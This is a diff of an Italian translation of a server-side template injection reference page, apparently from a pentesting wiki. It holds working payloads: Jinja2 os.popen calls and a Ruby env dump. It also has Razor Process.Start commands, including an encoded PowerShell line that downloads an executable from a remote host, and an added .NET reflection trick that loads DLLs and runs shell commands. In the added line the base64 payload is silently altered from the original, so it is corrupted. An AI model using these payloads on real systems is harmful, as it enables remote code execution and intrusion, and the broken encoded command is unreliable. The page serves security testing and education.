-- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
+- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
@@ -668,8 +668,8 @@ URLencoded:
| **Template** | **Descrizione** |
| ------------ | --------------------------------------- |
-| | Valuta e restituisce l'output |
-| | Valuta e restituisce l'output HTML codificato |
+| | Valuta e rende l'output |
+| | Valuta e rende l'output HTML codificato |
| | Commento |
| e | Consenti codice (disabilitato per impostazione predefinita) |
@@ -763,7 +763,7 @@ range.constructor(
```
{ %x|env| }
```
-**Ulteriori informazioni**
+**Maggiore informazione**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
@@ -812,9 +812,9 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
### Jinja2 (Python)
-[Official website](http://jinja.pocoo.org)
+[Sito ufficiale](http://jinja.pocoo.org)
-> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
+> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
- `{{7*7}} = Errore`
- `${7*7} = ${7*7}`
@@ -867,7 +867,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
-**Ulteriori dettagli su come abusare di Jinja**:
+**Maggiori dettagli su come abusare di Jinja**:
{{#ref}}
jinja2-ssti.md
@@ -906,7 +906,7 @@ ${x}
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
-- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
+- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
@@ -928,19 +928,36 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
+### .Net Bypass delle restrizioni
+
+I meccanismi di riflessione .NET possono essere utilizzati per bypassare il blacklisting o classi non presenti nell'assembly. I DLL possono essere caricati a runtime con metodi e proprietà accessibili da oggetti di base.
+
+I DLL possono essere caricati con:
+
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - dal filesystem.
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direttamente dalla richiesta.
+
+Esecuzione completa del comando:
+```
+{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
+```
+**Ulteriori informazioni**
+
+- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
+
### Mojolicious (Perl)
Anche se è Perl, utilizza tag come ERB in Ruby.
- `<%= 7*7 %> = 49`
-- `<%= foobar %> = Errore`
+- `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI in GO
-Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
+Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
- `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
@@ -994,7 +1011,7 @@ Se pensi possa essere utile, leggi:
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
-## Lista di Rilevamento Brute-Force
+## Elenco di Rilevamento Brute-Force
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt